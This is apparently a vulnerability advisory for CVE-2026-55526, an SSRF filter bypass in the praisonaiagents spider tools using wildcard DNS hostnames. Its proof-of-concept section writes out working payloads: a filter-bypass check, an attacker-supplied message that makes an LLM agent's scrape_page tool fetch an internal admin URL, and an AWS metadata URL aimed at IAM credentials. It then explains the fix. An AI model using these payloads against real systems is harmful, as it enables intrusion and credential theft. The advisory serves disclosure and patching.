CVE-2026-55526: praisonaiagents SSRF Protection Bypass via Wildcard DNS Hostname
The spider_tools SSRF filter in praisonaiagents never resolves hostnames to IP addresses, so an attacker can use a public wildcard DNS service like nip.io to reach internal services that the filter…

The problem
The _host_is_blocked() function in spider_tools.py checks URLs against a blocklist of IP literals and known aliases, but it never calls DNS resolution. Any real hostname that resolves to a loopback or private IP, including public wildcard services like 127.0.0.1.nip.io, passes the check and gets fetched.
All four spider tools (scrape_page, extract_links, crawl, extract_text) are registered as LLM-callable agent tools. An attacker who can supply a URL to an agent, directly or via a job submission, can trigger a full-read SSRF against any service reachable from the host.
On AWS EC2 with IMDSv1, this path reaches the instance metadata service and can yield IAM credentials.
Proof of concept
A working proof-of-concept for CVE-2026-55526 in praisonaiagents, with the exact payload below.
# Step 1: verify the filter bypass (no network needed)
from praisonaiagents.tools.spider_tools import _host_is_blocked
print(_host_is_blocked("127.0.0.1.nip.io")) # False — NOT blocked
print(_host_is_blocked("127.0.0.1")) # True — correctly blocked
# Step 2: agent-level trigger
from praisonaiagents import Agent
from praisonaiagents.tools import scrape_page
agent = Agent(
name="WebResearcher",
instructions="You are a research assistant. Fetch and summarize the given URL.",
tools=[scrape_page],
)
# Attacker-supplied message — agent calls scrape_page and hits 127.0.0.1:8080
result = agent.start("Please fetch and summarize: http://127.0.0.1.nip.io:8080/admin")
print(result)
# AWS IMDS variant (IMDSv1 only)
# scrape_page("http://169-254-169-254.sslip.io/latest/meta-data/iam/security-credentials/")Both ipaddress.ip_address() and socket.inet_aton() only parse dotted-decimal strings. For any real hostname like 127.0.0.1.nip.io, both calls raise exceptions and the function falls through to return False, marking the host as allowed.
The fix mirrors the existing pattern already used in web_crawl_tools.py line 228: call socket.gethostbyname(hostname) to resolve the DNS name, then evaluate the resulting IP with _ip_blocked(). The patch also fails closed on socket.gaierror, blocking any hostname that cannot be resolved.
This was a patch-gap: the DNS resolution fix was applied to web_crawl_tools.py in commit 004dcfef but was never ported to spider_tools.py.
The fix
Upgrade praisonaiagents to version 1.6.58 or later (pip install --upgrade praisonaiagents). The fix adds socket.gethostbyname(hostname) inside _host_is_blocked() so that resolved IPs are checked against the private/loopback blocklist, and fails closed for unresolvable hostnames.
Related research
- high · 7.5CVE-2026-55524CVE-2026-55524: praisonaiagents SSRF via Redirect and DNS Rebinding in web_crawl
- highCVE-2026-55523CVE-2026-55523: praisonaiagents web_crawl SSRF via Unvalidated Redirect Target
- high · 7.5CVE-2026-55525CVE-2026-55525: praisonaiagents web_crawl SSRF via Redirect Bypass
- high · 8.2CVE-2026-55528CVE-2026-55528: praisonaiagents AgentServer Missing Authentication